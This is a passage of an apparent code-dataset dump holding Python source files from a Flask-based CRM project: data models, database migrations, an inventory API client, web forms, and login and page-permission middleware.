获取'新申请'产品设计的数量, DesignApplication\n @cache.memoize(7200)\n def get_new_design_application_num(self):\n return DesignApplication.query.filter(DesignApplication.status == '新申请').count()\n\n # 是否为销售总监\n # Y - 是 ; N - 否 ; U - 未知\n def is_sale_manage(self):\n # 存在已有的销售记录\n if self.get_sale_manage_provinces():\n return \"Y\"\n # 什么记录都没\n if self.user_or_origin == 3 and self.departments.filter_by(\n name=\"销售部\").first() is not None and self.sales_areas.first() is None:\n return \"U\"\n\n return \"N\"\n\n # 获取销售总监所管理的大区\n def get_sale_manage_provinces(self):\n if not self.user_or_origin == 3:\n return []\n if self.departments.filter_by(name=\"销售部\").first() is None:\n return []\n\n return [uasa.sales_area_id for uasa in UserAndSaleArea.query.filter(UserAndSaleArea.user_id == self.id,\n UserAndSaleArea.parent_id == None).all()]\n\n # 是否管理某一大区\n def is_manage_province(self, sale_area_id):\n return sale_area_id in self.get_sale_manage_provinces()\n\n # 是否经销商\n def is_dealer(self):\n return self.user_or_origin == 2\n\n # 是否员工\n def is_staff(self):\n return self.user_or_origin == 3\n\n # 是否加盟经销商\n def is_join_dealer(self):\n return self.user_or_origin == 2 and \\\n self.extra_attributes is not None and \\\n self.extra_attributes[0:1] == \"1\"\n\n # 根据email+密码获取用户实例\n @classmethod\n def login_verification(cls, email, password, user_or_origin):\n user = User.query.filter(User.email == email)\n if user_or_origin:\n user = user.filter(User.user_or_origin == user_or_origin)\n user = user.first()\n if user is not None:\n if not bcrypt.check_password_hash(user.password, password):\n user = None\n\n return user\n\n # 验证并修改用户密码\n @classmethod\n def update_password(cls, email, password_now, password_new, password_new_confirm, user_or_origin):\n user = User.login_verification(email, password_now, user_or_origin)\n\n if user is None:\n raise ValueError(\"密码错误\")\n\n if password_now == password_new:\n raise ValueError(\"新旧密码不可相同\")\n\n if password_new != password_new_confirm:\n raise ValueError(\"新密码两次输入不匹配\")\n if len(password_new) < 8 or len(password_new) > 20:\n raise ValueError(\"密码长度必须大等于8小等于20\")\n\n user.password = password_new\n user.save\n\n # 获取所有role -- 暂使用所属部门代替\n @classmethod\n def get_all_roles(cls):\n return [(d.id, d.name) for d in DepartmentHierarchy.query.order_by(DepartmentHierarchy.id.asc()).all()]\n\n\nclass UserInfo(db.Model):\n __tablename__ = 'user_infos'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(400))\n telephone = db.Column(db.String(20))\n address = db.Column(db.String(500))\n title = db.Column(db.String(200))\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n\n def __repr__(self):\n return '<UserInfo %r -- %r>' % (self.id, self.name)\n\n\nclass Resource(db.Model):\n __tablename__ = 'resources'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(200), nullable=False)\n description = db.Column(db.String(400))\n\n\nclass SalesAreaHierarchy(db.Model):\n __tablename__ = 'sales_area_hierarchies'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(300), nullable=False)\n parent_id = db.Column(db.Integer)\n level_grade = db.Column(db.Integer)\n\n def __repr__(self):\n # return 'SalesAreaHierarchy %r' % self.name\n return '<SalesAreaHierarchy %r -- %r>' % (self.id, self.name)\n\n @classmethod\n def get_team_info_by_regional(cls, regional_id):\n regional_province = {}\n for regional_info in SalesAreaHierarchy.query.filter_by(parent_id=regional_id).all():\n # 每个省份只有一个销售员\n team = ()\n team_info = UserAndSaleArea.query.filter(UserAndSaleArea.parent_id != None,\n UserAndSaleArea.sales_area_id == regional_info.id).first()\n if team_info is None:\n team = (-1, \"无\")\n else:\n u = User.query.filter(User.id == team_info.user_id).first()\n team = (u.id, u.nickname)\n regional_province[regional_info.id] = {\"regional_province_name\": regional_info.name, \"team_info\": team}\n\n if regional_province == {}:\n regional_province[-1] = {\"regional_province_name\": \"无\", \"team_info\": (-1, \"无\")}\n\n return regional_province\n\n\nclass DepartmentHierarchy(db.Model):\n __tablename__ = 'department_hierarchies'\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(300), nullable=False)\n parent_id = db.Column(db.Integer)\n level_grade = db.Column(db.Integer)\n\n def __repr__(self):\n return '<DepartmentHierarchy %r -- %r>' % (self.id, self.name)\n\n\nclass ProjectReport(db.Model):\n __tablename__ = 'project_reports'\n id = db.Column(db.Integer, primary_key=True)\n app_id = db.Column(db.Integer)\n audit_id = db.Column(db.Integer)\n report_no = db.Column(db.String(50))\n status = db.Column(db.String(50))\n report_content = db.Column(db.JSON, default={})\n audit_content = db.Column(db.JSON, default={})\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n pic_files = db.Column(db.JSON)\n\n @property\n def app_name(self):\n return User.query.get_or_404(self.app_id).nickname\n\n @property\n def sale_director_id(self):\n province_id = User.query.get_or_404(self.app_id).sales_areas.first().parent_id\n region_id = SalesAreaHierarchy.query.get_or_404(province_id).parent_id\n us = db.session.query(User).join(User.departments).join(User.sales_areas).filter(\n User.user_or_origin == 3).filter(\n DepartmentHierarchy.name == \"销售部\").filter(\n SalesAreaHierarchy.id == region_id).first()\n if us is not None:\n return us.id\n else:\n return 0\n\n\n# 页面说明表\nclass WebpageDescribe(db.Model, Rails):\n __tablename__ = 'webpage_describes'\n id = db.Column(db.Integer, primary_key=True)\n endpoint = db.Column(db.String(200), nullable=False)\n method = db.Column(db.String(4), default=\"GET\") # GET or POST\n describe = db.Column(db.String(200), nullable=False)\n validate_flag = db.Column(db.Boolean, default=True) # 是否需要校验权限\n type = db.Column(db.String(30), default=\"pc_sidebar\") # 页面类型\n authority_operations = db.relationship('AuthorityOperation', backref='web_describe', lazy='dynamic')\n\n def __repr__(self):\n return '<WebpageDescribe %r -- %r,%r>' % (self.id, self.endpoint, self.describe)\n\n @classmethod\n def get_all_types(cls):\n return [(web_type[0], web_type[0]) for web_type in db.session.query(distinct(WebpageDescribe.type)).all()]\n\n # 校验endpoint是否合法等\n def check_data(self):\n if self.method is not None and self.method not in [\"GET\", \"POST\"]:\n raise \"method wrong\"\n\n # 无对应数据,会抛出异常\n url_for(self.endpoint)\n\n # endpoint + method 唯一数据\n if WebpageDescribe.query.filter_by(endpoint=self.endpoint, method=(self.method or \"GET\")).first() is not None:\n raise \"has exists record\"\n\n\n# 页面操作权限表\nclass AuthorityOperation(db.Model, Rails):\n __tablename__ = 'authority_operations'\n id = db.Column(db.Integer, primary_key=True)\n webpage_id = db.Column(db.Integer, db.ForeignKey('webpage_describes.id'))\n role_id = db.Column(db.Integer, nullable=False) # 暂时对应DepartmentHierarchy.id\n flag = db.Column(db.String(10)) # 权限配置是否有效等\n remark = db.Column(db.String(200)) # 权限备注\n time = db.Column(db.DateTime, default=datetime.datetime.now) # 权限设置时间\n\n def __repr__(self):\n return '<AuthorityOperation %r -- %r,%r>' % (self.id, self.webpage_id, self.role_id)\n\n # role_id获取对应中文\n def get_role_name(self):\n return DepartmentHierarchy.query.filter_by(id=self.role_id).first().name\n\n @classmethod\n def is_authorized(cls, user, endpoint, method=\"GET\"):\n if user is None or endpoint is None:\n raise \"is_authorized params wrong:[user,endpoint,method]\"\n\n wd = WebpageDescribe.query.filter_by(endpoint=endpoint, method=method).first()\n # 无配置数据 默认有访问权限\n if wd is None or wd.validate_flag is False:\n return True\n\n auth_flag = False\n for (role_id, role_name) in user.get_roles():\n ao = cls.query.filter_by(role_id=role_id, webpage_id=wd.id).first()\n if ao is None or ao.flag != \"Y\":\n continue\n auth_flag = True\n break\n\n return auth_flag\n" }, { "alpha_fraction": 0.6328927874565125, "alphanum_fraction": 0.6754772663116455, "avg_line_length": 23.321428298950195, "blob_id": "a50aa1f860cec6c920eb7c4f9dbc80ddd35b4409", "content_id": "eace6fb3fa43ee1161450edeee06c5ebae2686fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 681, "license_type": "no_license", "max_line_length": 86, "num_lines": 28, "path": "/migrations/versions/c6fb90a99137_add_batch_info_to_order_content.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add batch info to order_content\n\nRevision ID: c6fb90a99137\nRevises: 483fbd912e83\nCreate Date: 2017-03-23 16:44:57.607788\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c6fb90a99137'\ndown_revision = '483fbd912e83'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('order_contents', sa.Column('batch_info', sa.JSON(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('order_contents', 'batch_info')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6085481643676758, "alphanum_fraction": 0.622455894947052, "avg_line_length": 25.567567825317383, "blob_id": "e36cfb43259f88440cf3f742cd0583b3ed91bb2f", "content_id": "4ee63c5b446abf983f7ae9eba8c5c770d5ce736b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2948, "license_type": "no_license", "max_line_length": 77, "num_lines": 111, "path": "/application/inventory/api.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "import requests\nfrom .. import app\n\nsite = app.config['PRODUCT_SERVER']\nversion = 'api_v0.1'\nheaders = {'Content-Type': 'application/json'}\n\n\ndef load_categories():\n url = '%s/%s/product_categories' % (site, version)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return []\n\n\ndef load_products(category_id):\n url = '%s/%s/product_category/%s/products' % (site, version, category_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return []\n\n\ndef load_skus(product_id):\n url = '%s/%s/products/%s/skus' % (site, version, product_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return {}\n\n\ndef create_inventory(data={}):\n url = '%s/%s/inventories' % (site, version)\n response = requests.post(url, json=data, headers=headers)\n return response # 201\n\n\ndef load_inventories(sku_id):\n url = '%s/%s/sku/%s/inventories' % (site, version, sku_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return []\n\n\ndef load_inventories_by_code(code):\n url = '%s/%s/sku/%s/inventories_by_code' % (site, version, code)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return []\n\n\ndef update_inventory(inv_id, data={}):\n url = '%s/%s/inventories/%s/edit' % (site, version, inv_id)\n response = requests.put(url, json=data, headers=headers)\n return response # 200\n\n\ndef delete_inventory(inv_id):\n url = '%s/%s/inventories/%s' % (site, version, inv_id)\n response = requests.delete(url)\n return response # 200\n\n\ndef load_inventory(inv_id):\n url = '%s/%s/inventories/%s' % (site, version, inv_id)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return {}\n\n\ndef update_sku(sku_id, data={}):\n url = '%s/%s/product_skus/%s/edit' % (site, version, sku_id)\n response = requests.put(url, json=data, headers=headers)\n return response # 200\n\n\ndef update_sku_by_code(data={}):\n url = '%s/%s/product_skus/edit_by_code' % (site, version)\n response = requests.put(url, json=data, headers=headers)\n return response # 200\n\n\ndef load_all_skus(data={}):\n url = '%s/%s/product_skus/search' % (site, version)\n response = requests.post(url, json=data, headers=headers)\n return response.json() # 200\n\n\ndef load_skufeatures():\n url = '%s/%s/sku_features' % (site, version)\n response = requests.get(url)\n if response.status_code == 200:\n return response.json()\n else:\n return []\n\n\ndef load_users_inventories(data={}):\n url = '%s/%s/sku/users_inventories' % (site, version)\n response = requests.post(url, json=data, headers=headers)\n return response.json()" }, { "alpha_fraction": 0.6734368801116943, "alphanum_fraction": 0.6857825517654419, "avg_line_length": 47.75728225708008, "blob_id": "89f1f521f310f314910e686702909e876b3a1fd1", "content_id": "c7150f620cf378296b02d6833e888df2e76fa387", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5544, "license_type": "no_license", "max_line_length": 166, "num_lines": 103, "path": "/application/organization/forms.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from wtforms import Form, StringField, TextAreaField, SelectField, PasswordField, validators, SelectMultipleField, \\\n SubmitField\nfrom wtforms.ext.sqlalchemy.fields import QuerySelectField, QuerySelectMultipleField\nfrom flask_login import current_user\nfrom ..models import SalesAreaHierarchy, DepartmentHierarchy, User, WebpageDescribe\nfrom ..forms import BaseCsrfForm\n\n\ndef valid_sale_range(form, field):\n if form.user_type.data == \"2\" and field.data is None:\n raise validators.ValidationError('请选择销售范围')\n\n\ndef valid_dept_ranges(form, field):\n if form.user_type.data == \"3\" and field.data == []:\n raise validators.ValidationError('请选择所属部门')\n\n\ndef get_dynamic_sale_range_query(level_grade, parent_id=None):\n sahs = SalesAreaHierarchy.query.filter(SalesAreaHierarchy.level_grade == level_grade)\n if parent_id is not None:\n sahs = sahs.filter_by(parent_id=parent_id)\n\n return sahs.order_by(SalesAreaHierarchy.id).all()\n\n\ndef get_dynamic_dept_ranges_query():\n dhs = DepartmentHierarchy.query\n\n # 前端已进行控制,防止异常增加逻辑\n if current_user is None or not current_user.is_authenticated or current_user.departments.count() == 0:\n return dhs.order_by(DepartmentHierarchy.id).all()\n\n max_depart_level = current_user.get_max_level_grade()\n dhs = dhs.filter(DepartmentHierarchy.level_grade > max_depart_level)\n dhs = dhs.union(current_user.departments)\n\n return dhs.order_by(DepartmentHierarchy.id).all()\n\n\nclass BaseForm(Form):\n def reset_select_field(self):\n self.dept_ranges.query = get_dynamic_dept_ranges_query()\n self.sale_range_province.query = get_dynamic_sale_range_query(3)\n self.sale_range.query = get_dynamic_sale_range_query(4)\n\n @classmethod\n def get_sale_range_by_parent(cls, level_grade, parent_id):\n return get_dynamic_sale_range_query(level_grade, parent_id)\n\n\n# BASE USER\nclass UserForm(BaseForm, BaseCsrfForm):\n email = StringField('邮箱', [validators.Email(message=\"请填写正确格式的email\")])\n name = StringField('姓名', [validators.Length(min=2, max=30, message=\"字段长度必须大等于2小等于30\")])\n nickname = StringField('昵称', [validators.Length(min=2, max=30, message=\"字段长度必须大等于2小等于30\")])\n password = PasswordField('密码', validators=[\n validators.DataRequired(message=\"字段不可为空\"),\n validators.Length(min=8, max=20, message=\"字段长度必须大等于8小等于20\"),\n validators.EqualTo('password_confirm', message=\"两次输入密码不匹配\")\n ])\n password_confirm = PasswordField('密码')\n address = TextAreaField('地址', [validators.Length(min=5, max=300, message=\"字段长度必须大等于5小等于300\")])\n # 电话匹配规则 11位手机 or 3-4区号(可选)+7-8位固话+1-6分机号(可选)\n phone = StringField('电话',\n [validators.Regexp(r'(^\\d{11})$|(^(\\d{3,4}-)?\\d{7,8}(-\\d{1,5})?$)', message=\"请输入正确格式的电话\")])\n title = StringField('头衔')\n user_type = SelectField('用户类型', choices=[('3', '员工'), ('2', '经销商')],\n validators=[validators.DataRequired(message=\"字段不可为空\")])\n # dept_ranges = SelectMultipleField('dept_ranges',choices=[ ('-1','选择所属部门')] + [(str(dh.id),dh.name) for dh in DepartmentHierarchy.query.all() ])\n # sale_range = SelectField('sale_range',choices=[ ('-1','选择销售范围')] + [(str(sah.id),sah.name) for sah in SalesAreaHierarchy.query.filter_by(level_grade=4).all() ])\n dept_ranges = QuerySelectMultipleField(u'所属部门', get_label=\"name\", validators=[valid_dept_ranges])\n sale_range_province = QuerySelectField(u'销售范围(省)', get_label=\"name\", allow_blank=True)\n sale_range = QuerySelectField(u'销售范围', get_label=\"name\", allow_blank=True, validators=[valid_sale_range])\n join_dealer = SelectField(u'是否加盟', coerce=int, choices=[(1, '是'), (0, '否')])\n is_anonymous = SelectField('是否禁用', coerce=int, choices=[(1, '是'), (0, '否')])\n\n\n# BASE USER_SEARCH\nclass UserSearchForm(BaseForm):\n email = StringField('邮箱')\n name = StringField('姓名')\n user_type = SelectField('用户类型', choices=[(3, '员工'), (2, '经销商')],\n validators=[validators.DataRequired(message=\"字段不可为空\")])\n # dept_ranges = SelectMultipleField('dept_ranges',choices=[ (-1,'选择所属部门')] + [(str(dh.id),dh.name) for dh in DepartmentHierarchy.query.all() ])\n # sale_range = SelectField('sale_range',choices=[ (-1,'选择销售范围')] + [(str(sah.id),sah.name) for sah in SalesAreaHierarchy.query.filter_by(level_grade=3).all() ])\n dept_ranges = QuerySelectMultipleField(u'所属部门', get_label=\"name\")\n sale_range_province = QuerySelectField(u'销售范围(省)', get_label=\"name\", allow_blank=True)\n sale_range = QuerySelectField(u'销售范围', get_label=\"name\", allow_blank=True)\n\n\nclass RegionalSearchForm(Form):\n regional = QuerySelectMultipleField(u'区域', get_label=\"name\")\n\n def reset_select_field(self):\n self.regional.query = get_dynamic_sale_range_query(2)\n\n\nclass AuthoritySearchForm(BaseCsrfForm):\n roles = SelectMultipleField('角色', choices=[('', '全部')] + User.get_all_roles())\n web_types = SelectMultipleField('页面类型', choices=WebpageDescribe.get_all_types())\n describe = StringField('页面描述')\n submit = SubmitField('筛选条件')\n" }, { "alpha_fraction": 0.658682644367218, "alphanum_fraction": 0.6906187534332275, "avg_line_length": 30.3125, "blob_id": "4090ec0aa247358dedec1e9780cb8ad424f555ea", "content_id": "2f73aaca3a0d0011c0713015bc055d1fce31b239", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1002, "license_type": "no_license", "max_line_length": 103, "num_lines": 32, "path": "/migrations/versions/e956ef9ac5fc_add_app_type_to_material_application.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_app_type_to_material_application\n\nRevision ID: e956ef9ac5fc\nRevises: 30bb070970b9\nCreate Date: 2017-05-14 12:29:52.839022\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e956ef9ac5fc'\ndown_revision = '30bb070970b9'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('material_application', sa.Column('app_infos', sa.JSON(), nullable=True))\n op.add_column('material_application', sa.Column('app_type', sa.Integer(), nullable=True))\n op.add_column('material_application', sa.Column('sales_area', sa.String(length=20), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('material_application', 'sales_area')\n op.drop_column('material_application', 'app_type')\n op.drop_column('material_application', 'app_infos')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5849699974060059, "alphanum_fraction": 0.5856935977935791, "avg_line_length": 41.06087112426758, "blob_id": "303fdd6235f28339fdfc8d0f07a7ddc04c44f214", "content_id": "83522c3b4c31d96f763269eb6d7dfc3711763ebd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10452, "license_type": "no_license", "max_line_length": 120, "num_lines": 230, "path": "/application/backstage_management/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from flask import Blueprint, flash, redirect, render_template, request, url_for, session\nfrom .. import app\nfrom ..models import User, AuthorityOperation, WebpageDescribe\nfrom .forms import AccountLoginForm, AccountForm\nfrom ..forms import BaseCsrfForm\nfrom flask_login import logout_user, login_user, current_user\nfrom ..wechat.models import WechatCall, WechatUserInfo\n\nbackstage_management = Blueprint('backstage_management', __name__, template_folder='templates')\n\n\n# 单个使用@login_required\n# 访问页面是否登入拦截\n@backstage_management.before_app_request\ndef login_check():\n # url_rule\n # app.logger.info(\"into login_check\")\n\n # 图片加载 or 无匹配请求\n if request.endpoint == \"static\" or request.endpoint is None:\n if request.endpoint is None:\n app.logger.info(\"LOGIN_CHECK None? request.path [%s] , [%s]\" % (request.path, request.endpoint))\n pass\n # 网站root访问 移动端\n # 所有移动端页面\n # wechat.mobile_ 使用微信相关JS的移动端页面\n else:\n if request.endpoint == \"root\" or \\\n request.endpoint.startswith(\"mobile_\") or \\\n request.endpoint.startswith(\"wechat.mobile_\") or \\\n request.path.startswith(\"/mobile/\"):\n\n # 微信自动登入拦截 -- code只能使用一次,所以绑定界面不能拦截\n if not request.endpoint == 'wechat.mobile_user_binding' and request.args.get(\"code\") is not None:\n app.logger.info(\"微信端code自动登入拦截 code[%s]\" % request.args.get(\"code\"))\n try:\n openid = WechatCall.get_open_id_by_code(request.args.get(\"code\"))\n app.logger.info(\"微信端code自动登入拦截 openid[%s]\" % openid)\n wui = WechatUserInfo.query.filter_by(open_id=openid, is_active=True).first()\n app.logger.info(\"微信端code自动登入拦截 wui记录[%s]\" % wui)\n if wui is not None:\n exists_binding_user = User.query.filter_by(id=wui.user_id).first()\n app.logger.info(\"微信端code自动登入拦截 user记录[%s]\" % exists_binding_user)\n if exists_binding_user is not None:\n if current_user.is_authenticated and not exists_binding_user == current_user:\n app.logger.info(\n \"微信自动登入用户[%s],登出[%s]\" % (exists_binding_user.nickname, current_user.nickname))\n logout_user()\n login_user(exists_binding_user)\n app.logger.info(\"binding user login [%s] - [%s]\" % (openid, exists_binding_user.nickname))\n except Exception as e:\n app.logger.info(\"微信端code自动登入拦截异常[%s]\" % e)\n pass\n\n # 访问请求端的页面 不进行拦截\n if request.endpoint == \"mobile_user_login\" or request.endpoint == 'wechat.mobile_user_binding':\n pass\n # 未登入用户跳转登入界面\n elif not current_user.is_authenticated:\n app.logger.info(\"LOGIN_CHECK INTO MOBILE request.path [%s] , [%s]\" % (request.path, request.endpoint))\n # 后端界面\n flash(\"请登入后操作\")\n session[\"login_next_url\"] = request.path\n return redirect(url_for('mobile_user_login'))\n # 被禁止用户\n else:\n login_valid_errmsg = current_user.check_can_login()\n if not login_valid_errmsg == \"\":\n flash(login_valid_errmsg)\n logout_user()\n return redirect(url_for('mobile_user_login'))\n # 其他与微信服务器交互接口 不进行登入判断\n elif request.endpoint.startswith(\"wechat.\"):\n # 微信\n pass\n # 后端管理界面\n else:\n # 访问请求端的页面 不进行拦截\n if request.endpoint == \"backstage_management.account_login\":\n # 后端登入界面\n pass\n # 未登入用户跳转登入界面\n elif not current_user.is_authenticated or current_user.user_or_origin != 3:\n app.logger.info(\"LOGIN_CHECK INTO BACK END request.path [%s] , [%s]\" % (request.path, request.endpoint))\n # 后端界面\n flash(\"请登入后操作\")\n session[\"login_next_url\"] = request.path\n return redirect(url_for('backstage_management.account_login'))\n # 被禁止用户\n else:\n login_valid_errmsg = current_user.check_can_login()\n if not login_valid_errmsg == \"\":\n flash(login_valid_errmsg)\n logout_user()\n return redirect(url_for('backstage_management.account_login'))\n\n return None\n\n\n# 访问页面 是否有权限拦截\n@backstage_management.before_app_request\ndef authority_check():\n # app.logger.info(\"into authority_check\")\n if request.endpoint == \"static\" or request.endpoint is None \\\n or current_user is None or not current_user.is_authenticated:\n pass\n else:\n if AuthorityOperation.is_authorized(current_user, request.endpoint, request.method) is False:\n flash(\"无权限登入页面 [%s] ,请确认\" % WebpageDescribe.query.filter_by(endpoint=request.endpoint,\n method=request.method).first().describe)\n return redirect(url_for('backstage_management.index'))\n\n\n@backstage_management.route('/index')\ndef index():\n app.logger.info(\"into index\")\n form = AccountForm(obj=current_user, user_type=current_user.get_user_type_name(), meta={'csrf_context': session})\n if len(current_user.user_infos) == 0:\n pass\n else:\n ui = current_user.user_infos[0]\n form.name.data = ui.name\n form.address.data = ui.address\n form.phone.data = ui.telephone\n form.title.data = ui.title\n\n if current_user.sales_areas.first() is not None:\n form.sale_range.data = \",\".join([s.name for s in current_user.sales_areas.all()])\n if current_user.departments.first() is not None:\n form.dept_ranges.data = \",\".join([d.name for d in current_user.departments.all()])\n\n return render_template('backstage_management/index.html', form=form)\n\n\n# -- login\n# 需要区分pc or wechat ?\n@backstage_management.route('/account/login', methods=['GET', 'POST'])\ndef account_login():\n if current_user.is_authenticated:\n if current_user.user_or_origin == 3:\n return redirect(url_for('backstage_management.index'))\n else:\n # 不运行前后端同时登入在一个WEB上\n app.logger.info(\"移动端用户[%s]自动登出,[%s][%s]\" % (current_user.nickname, request.path, request.endpoint))\n logout_user()\n\n # app.logger.info(\"account_login [%s]\" % request.args)\n if request.method == 'POST':\n try:\n form = AccountLoginForm(request.form, meta={'csrf_context': session})\n if form.validate() is False:\n raise ValueError(form.errors)\n\n # 后台只能员工登入\n user = User.login_verification(form.email.data, form.password.data, 3)\n if user is None:\n raise ValueError(\"用户名或密码错误\")\n\n login_valid_errmsg = user.check_can_login()\n if not login_valid_errmsg == \"\":\n raise ValueError(login_valid_errmsg)\n\n login_user(user, form.remember_me.data)\n app.logger.info(\"后端用户[%s][%s]登入成功\" % (user.email, user.nickname))\n # 直接跳转至需访问页面\n if session.get(\"login_next_url\"):\n next_url = session.pop(\"login_next_url\")\n else:\n next_url = url_for('backstage_management.index')\n return redirect(next_url)\n except Exception as e:\n app.logger.info(\"后端用户登入失败[%s]\" % e)\n flash(e)\n else:\n form = AccountLoginForm(meta={'csrf_context': session})\n\n return render_template('backstage_management/account_login.html', form=form)\n\n\n@backstage_management.route('/account/logout')\ndef account_logout():\n logout_user()\n return redirect(url_for('backstage_management.account_login'))\n\n\n# 帐号信息管理\n@backstage_management.route('/account/index')\ndef account_index():\n app.logger.info(\"into account_index\")\n form = AccountForm(obj=current_user, user_type=current_user.get_user_type_name(), meta={'csrf_context': session})\n if len(current_user.user_infos) == 0:\n pass\n else:\n ui = current_user.user_infos[0]\n form.name.data = ui.name\n form.address.data = ui.address\n form.phone.data = ui.telephone\n form.title.data = ui.title\n\n if current_user.sales_areas.first() is not None:\n form.sale_range.data = \",\".join([s.name for s in current_user.sales_areas.all()])\n if current_user.departments.first() is not None:\n form.dept_ranges.data = \",\".join([d.name for d in current_user.departments.all()])\n\n return render_template('backstage_management/account_index.html', form=form)\n\n\n# 帐号信息管理\n@backstage_management.route('/account/password_update', methods=['POST'])\ndef account_password_update():\n app.logger.info(\"into account_password_update\")\n try:\n form = BaseCsrfForm(request.form, meta={'csrf_context': session})\n if form.validate() is False:\n raise ValueError(\"非法提交,请通过正常页面进行修改\")\n\n if request.form.get(\"email\") != current_user.email:\n raise ValueError(\"非法提交,请通过正常页面进行修改\")\n\n User.update_password(request.form.get(\"email\"),\n request.form.get(\"password_now\"),\n request.form.get(\"password_new\"),\n request.form.get(\"password_new_confirm\"),\n current_user.user_or_origin)\n\n flash(\"密码修改成功\")\n except Exception as e:\n flash(\"密码修改失败: %s\" % e)\n\n return redirect(url_for('backstage_management.account_index'))\n" }, { "alpha_fraction": 0.5843544006347656, "alphanum_fraction": 0.6371347904205322, "avg_line_length": 28.47222137451172, "blob_id": "9387c930d1258dffebe3298e8b0d3665a3485cce", "content_id": "60231c6973cadd12df445d3eef6b3bbc6ced5c19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1061, "license_type": "no_license", "max_line_length": 89, "num_lines": 36, "path": "/migrations/versions/636191448952_add_audit_price_to_share_inventory.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add audit price to share inventory\n\nRevision ID: 636191448952\nRevises: 0c451fc35b86\nCreate Date: 2017-03-29 11:04:56.305056\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '636191448952'\ndown_revision = '0c451fc35b86'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('share_inventory', sa.Column('audit_price', sa.Float(), nullable=True))\n op.alter_column('web_access_log', 'user_agent',\n existing_type=sa.VARCHAR(length=200),\n type_=sa.String(length=500),\n existing_nullable=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('web_access_log', 'user_agent',\n existing_type=sa.String(length=500),\n type_=sa.VARCHAR(length=200),\n existing_nullable=True)\n op.drop_column('share_inventory', 'audit_price')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6218905448913574, "alphanum_fraction": 0.6691542267799377, "avg_line_length": 25.799999237060547, "blob_id": "07e9165076addf63cd763411aaeacb370e439ee9", "content_id": "9c5b50f888f70c108c658b35655f662a7fb55184", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 804, "license_type": "no_license", "max_line_length": 81, "num_lines": 30, "path": "/migrations/versions/c2024ad11427_add_user_id_to_contracts.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_user_id_to_contracts\n\nRevision ID: c2024ad11427\nRevises: 131e90437d13\nCreate Date: 2017-03-09 16:22:03.810885\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c2024ad11427'\ndown_revision = '131e90437d13'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('contracts', sa.Column('user_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'contracts', 'users', ['user_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'contracts', type_='foreignkey')\n op.drop_column('contracts', 'user_id')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.7368151545524597, "alphanum_fraction": 0.7378392219543457, "avg_line_length": 38.060001373291016, "blob_id": "76f60a80a573271c5aaca783f2c6699cd089fa19", "content_id": "3b3a193936ab760bfba4c3f0d224c38b2c8646aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1969, "license_type": "no_license", "max_line_length": 107, "num_lines": 50, "path": "/manage.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom flask_migrate import 